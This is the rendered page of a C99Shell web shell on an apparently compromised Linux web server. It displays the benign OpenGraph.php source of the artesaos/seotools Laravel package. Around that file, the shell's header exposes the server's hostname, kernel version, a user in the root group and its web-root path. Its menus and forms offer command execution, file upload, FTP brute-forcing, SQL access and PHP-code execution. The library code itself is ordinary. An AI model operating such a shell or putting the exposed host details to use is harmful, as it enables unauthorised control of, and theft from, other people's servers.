!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/vendor/artesaos/seotools/src/SEOTools/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OpenGraph.php (18.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Artesaos\SEOTools;

use 
Illuminate\Support\Arr;
use 
Artesaos\SEOTools\Contracts\OpenGraph as OpenGraphContract;

/**
 * OpenGraph provides implementation for `OpenGraph` contract.
 *
 * @see \Artesaos\SEOTools\Contracts\OpenGraph
 */
class OpenGraph implements OpenGraphContract
{
    
/**
     * OpenGraph Prefix.
     *
     * @var string
     */
    
protected $og_prefix 'og:';

    
/**
     * Config.
     *
     * @var array
     */
    
protected $config;

    
/**
     * Url property
     *
     * @var string
     */
    
protected $url '';

    
/**
     * Array of Properties.
     *
     * @var array
     */
    
protected $properties = [];

    
/**
     * Array of Article Properties.
     *
     * @var array
     */
    
protected $articleProperties = [];

    
/**
     * Array of Profile Properties.
     *
     * @var array
     */
    
protected $profileProperties = [];

    
/**
     * Array of Music Song Properties.
     *
     * @var array
     */
    
protected $musicSongProperties = [];

    
/**
     * Array of Music Album Properties.
     *
     * @var array
     */
    
protected $musicAlbumProperties = [];

    
/**
     * Array of Music Playlist Properties.
     *
     * @var array
     */
    
protected $musicPlaylistProperties = [];

    
/**
     * Array of Music Radio Properties.
     *
     * @var array
     */
    
protected $musicRadioStationProperties = [];

    
/**
     * Array of Video Movie Properties.
     *
     * @var array
     */
    
protected $videoMovieProperties = [];

    
/**
     * Array of Video Episode Properties.
     *
     * @var array
     */
    
protected $videoEpisodeProperties = [];

    
/**
     * Array of Video TV Show Properties.
     *
     * @var array
     */
    
protected $videoTVShowProperties = [];

    
/**
     * Array of Video Other Properties.
     *
     * @var array
     */
    
protected $videoOtherProperties = [];

    
/**
     * Array of Book Properties.
     *
     * @var array
     */
    
protected $bookProperties = [];

    
/**
     * Array of Video Properties.
     *
     * @var array
     */
    
protected $videoProperties = [];

    
/**
     * Array of Audio Properties.
     *
     * @var array
     */
    
protected $audioProperties = [];

    
/**
     * Array of Place Properties.
     *
     * @var array
     */
    
protected $placeProperties = [];

    
/**
     * Array of Product Properties.
     *
     * @var array
     */
    
protected $productProperties = [];

    
/**
     * Array of Image Properties.
     *
     * @var array
     */
    
protected $images = [];

    
/**
     * Create a new OpenGraph instance.
     *
     * @param array $config config
     *
     * @return void
     */
    
public function __construct(array $config = [])
    {
        
$this->config $config;
    }

    
/**
     * {@inheritdoc}
     */
    
public function generate($minify false)
    {
        
$this->setupDefaults();

        
$output $this->eachProperties($this->properties);

        
$props = [
            
'images'                      => ['image',   true],
            
'articleProperties'           => ['article'false],
            
'profileProperties'           => ['profile'false],
            
'bookProperties'              => ['book',    false],
            
'musicSongProperties'         => ['music',   false],
            
'musicAlbumProperties'        => ['music',   false],
            
'musicPlaylistProperties'     => ['music',   false],
            
'musicRadioStationProperties' => ['music',   false],
            
'videoMovieProperties'        => ['video',   false],
            
'videoEpisodeProperties'      => ['video',   false],
            
'videoTVShowProperties'       => ['video',   false],
            
'videoOtherProperties'        => ['video',   false],
            
'videoProperties'             => ['video',   true],
            
'audioProperties'             => ['audio',   true],
            
'placeProperties'             => ['place',   false],
            
'productProperties'           => ['product'false],
        ];

        foreach (
$props as $prop => $options) {
            
$output .= $this->eachProperties(
                
$this->{$prop},
                
$options[0],
                
$options[1]
            );
        }

        return (
$minify) ? str_replace(PHP_EOL''$output) : $output;
    }

    
/**
     * Make list of open graph tags.
     *
     * @param array       $properties array of properties
     * @param null|string $prefix     prefix of property
     * @param bool        $ogPrefix   opengraph prefix
     *
     * @return string
     */
    
protected function eachProperties(
        array 
$properties,
        
$prefix null,
        
$ogPrefix true
    
) {
        
$html = [];

        foreach (
$properties as $property => $value) {
            
// multiple properties
            
if (is_array($value)) {
                if (
is_string($property)){
                    
$subListPrefix $prefix.":".$property;
                    
$subList $this->eachProperties($value$subListPrefixfalse);
                } else {
                    
$subListPrefix = (is_string($property)) ? $property $prefix;
                    
$subList $this->eachProperties($value$subListPrefix);
                }

                
$html[] = $subList;
            } else {
                if (
is_string($prefix)) {
                    
$key = (is_string($property)) ?
                        
$prefix.':'.$property :
                        
$prefix;
                } else {
                    
$key $property;
                }

                
// if empty jump to next
                
if (empty($value)) {
                    continue;
                }

                
$html[] = $this->makeTag($key$value$ogPrefix);
            }
        }

        return 
implode($html);
    }

    
/**
     * Make a og tag.
     *
     * @param string $key      meta property key
     * @param string $value    meta property value
     * @param bool   $ogPrefix opengraph prefix
     *
     * @return string
     */
    
protected function makeTag($key null$value null$ogPrefix false)
    {
        return 
sprintf(
            
'<meta property="%s%s" content="%s">%s',
            
$ogPrefix $this->og_prefix '',
            
strip_tags($key),
            
$this->cleanTagValue($value),
            
PHP_EOL
        
);
    }

    
/**
     * Clean og tag value
     *
     * @param string $value    meta property value
     *
     * @return string
     */
    
protected function cleanTagValue($value)
    {
        
// Safety
        
$value str_replace(['http-equiv=''url='], ''$value);

        
// Escape double quotes
        
$value htmlspecialchars($valueENT_QUOTESnullfalse);

        
// Clean
        
$value strip_tags($value);

        return 
$value;
    }

    
/**
     * Add or update property.
     *
     * @return void
     */
    
protected function setupDefaults()
    {
        
$defaults = (isset($this->config['defaults'])) ?
            
$this->config['defaults'] :
            [];

        foreach (
$defaults as $key => $value) {
            if (
$key === 'images') {
                if (empty(
$this->images)) {
                    
$this->images $value;
                }
            } elseif (
$key === 'url' && empty($value)) {
                if (
$value === null) {
                    
$this->addProperty('url'$this->url ?: app('url')->current());
                } elseif (
$this->url) {
                    
$this->addProperty('url'$this->url);
                }
            } elseif (! empty(
$value) && ! array_key_exists($key$this->properties)) {
                
$this->addProperty($key$value);
            }
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function addProperty($key$value)
    {
        
$this->properties[$key] = $value;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setArticle($attributes = [])
    {
        
$validkeys = [
            
'published_time',
            
'modified_time',
            
'expiration_time',
            
'author',
            
'section',
            
'tag',
        ];

        
$this->setProperties(
            
'article',
            
'articleProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setProfile($attributes = [])
    {
        
$validkeys = [
            
'first_name',
            
'last_name',
            
'username',
            
'gender',
        ];

        
$this->setProperties(
            
'profile',
            
'profileProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setBook($attributes = [])
    {
        
$validkeys = [
            
'author',
            
'isbn',
            
'release_date',
            
'tag',
        ];

        
$this->setProperties('book''bookProperties'$attributes$validkeys);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMusicSong($attributes = [])
    {
        
$validkeys = [
            
'duration',
            
'album',
            
'album:disc',
            
'album:track',
            
'musician',
        ];

        
$this->setProperties(
            
'music.song',
            
'musicSongProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMusicAlbum($attributes = [])
    {
        
$validkeys = [
            
'song',
            
'song:disc',
            
'song:track',
            
'musician',
            
'release_date',
        ];

        
$this->setProperties(
            
'music.album',
            
'musicAlbumProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMusicPlaylist($attributes = [])
    {
        
$validkeys = [
            
'song',
            
'song:disc',
            
'song:track',
            
'creator',
        ];

        
$this->setProperties(
            
'music.playlist',
            
'musicPlaylistProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMusicRadioStation($attributes = [])
    {
        
$validkeys = [
            
'creator',
        ];

        
$this->setProperties(
            
'music.radio_station',
            
'musicRadioStationProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setVideoMovie($attributes = [])
    {
        
$validkeys = [
            
'actor',
            
'actor:role',
            
'director',
            
'writer',
            
'duration',
            
'release_date',
            
'tag',
        ];

        
$this->setProperties(
            
'video.movie',
            
'videoMovieProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setVideoEpisode($attributes = [])
    {
        
$validkeys = [
            
'actor',
            
'actor:role',
            
'director',
            
'writer',
            
'duration',
            
'release_date',
            
'tag',
            
'series',
        ];

        
$this->setProperties(
            
'video.episode',
            
'videoEpisodeProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setVideoOther($attributes = [])
    {
        
$validkeys = [
            
'actor',
            
'actor:role',
            
'director',
            
'writer',
            
'duration',
            
'release_date',
            
'tag',
        ];

        
$this->setProperties(
            
'video.other',
            
'videoOtherProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setVideoTVShow($attributes = [])
    {
        
$validkeys = [
            
'actor',
            
'actor:role',
            
'director',
            
'writer',
            
'duration',
            
'release_date',
            
'tag',
        ];

        
$this->setProperties(
            
'video.tv_show',
            
'videoTVShowProperties',
            
$attributes,
            
$validkeys
        
);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addVideo($source null$attributes = [])
    {
        
$validKeys = [
            
'url',
            
'secure_url',
            
'type',
            
'width',
            
'height',
        ];

        
$this->videoProperties[] = [
            
$source,
            
$this->cleanProperties($attributes$validKeys),
        ];

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addAudio($source null$attributes = [])
    {
        
$validKeys = [
            
'url',
            
'secure_url',
            
'type',
        ];

        
$this->audioProperties[] = [
            
$source,
            
$this->cleanProperties($attributes$validKeys),
        ];

        return 
$this;
    }

    
/**
     * Set place properties.
     *
     * @param array $attributes opengraph place attributes
     *
     * @return OpenGraphContract
     */
    
public function setPlace($attributes = [])
    {
        
$validkeys = [
            
'location:latitude',
            
'location:longitude',

        ];

        
$this->setProperties('place''placeProperties'$attributes$validkeys);

        return 
$this;
    }

    
/**
     * Set product properties.
     * Reference: https://developers.facebook.com/docs/marketing-api/catalog/reference/#example-feeds
     *
     * @param array $attributes opengraph product attributes
     *
     * @return OpenGraphContract
     */
    
public function setProduct($attributes = [])
    {
        
$validkeys = [
            
// Required
            
'brand',
            
'availability',
            
'condition',

            
// Conditionally required
            
'locale',
            
'plural_title',

            
// Conditionally required: https://developers.facebook.com/docs/payments/product/
            
'price:amount'// Required if Static Pricing & not Dynamic Pricing
            
'price:currency'// Required if Static Pricing & not Dynamic Pricing

            // Optional
            
'catalog_id',
            
'item_group_id',
            
'category',
            
'gender',
            
'gtin',
            
'isbn',
            
'mfr_part_no',

            
'sale_price:amount',
            
'sale_price:currency',
            
'sale_price_dates:start',
            
'sale_price_dates:end',


            
// Optional - extra
            
'custom_label_0',
            
'custom_label_1',
            
'custom_label_2',
            
'custom_label_3',
            
'custom_label_4',


            
// Deprecated
            
'original_price:amount',
            
'original_price:currency',
            
'pretax_price:amount',
            
'pretax_price:currency',
            
'shipping_cost:amount',
            
'shipping_cost:currency',
            
'weight:value',
            
'weight:units',
            
'shipping_weight:value',
            
'shipping_weight:units',
        ];

        
$this->setProperties('product''productProperties'$attributes$validkeys);

        return 
$this;
    }

    
/**
     * Clean invalid properties.
     *
     * @param array $attributes attributes input
     * @param string[] $validKeys  keys that are allowed
     *
     * @return array
     */
    
protected function cleanProperties($attributes = [], $validKeys = [])
    {
        
$array = [];

        foreach (
$attributes as $attribute => $value) {
            if (
in_array($attribute$validKeys)) {
                
$array[$attribute] = $value;
            }
        }

        return 
$array;
    }

    
/**
     * Set properties.
     *
     * @param string $type       type of og:type
     * @param string $key        variable key
     * @param array  $attributes inputted opengraph attributes
     * @param string[]  $validKeys  valid opengraph attributes
     *
     * @return void
     */
    
protected function setProperties(
        
$type null,
        
$key null,
        
$attributes = [],
        
$validKeys = []
    ) {
        if (isset(
$this->properties['type']) && $this->properties['type'] == $type) {
            foreach (
$attributes as $attribute => $value) {
                if (
in_array($attribute$validKeys)) {
                    
$this->{$key}[$attribute] = $value;
                }
            }
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function removeProperty($key)
    {
        
Arr::forget($this->properties$key);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addImage($source null$attributes = [])
    {
        
$validKeys = [
            
'url',
            
'secure_url',
            
'type',
            
'width',
            
'height',
            
'alt',
        ];

        if (
is_array($source)) {
            
$this->images[] = $this->cleanProperties($source$validKeys);
        } else {
            
$this->images[] = [
                
$source,
                
$this->cleanProperties($attributes$validKeys),
            ];
        }

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addImages(array $urls)
    {
        
array_push($this->images$urls);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setType($type null)
    {
        return 
$this->addProperty('type'$type);
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTitle($title null)
    {
        return 
$this->addProperty('title'$title);
    }

    
/**
     * {@inheritdoc}
     */
    
public function setDescription($description null)
    {
        return 
$this->addProperty('description'htmlspecialchars($descriptionENT_QUOTES'UTF-8'false));
    }

    
/**
     * {@inheritdoc}
     */
    
public function setUrl($url)
    {
        
$this->url $url;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setSiteName($name)
    {
        return 
$this->addProperty('site_name'$name);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--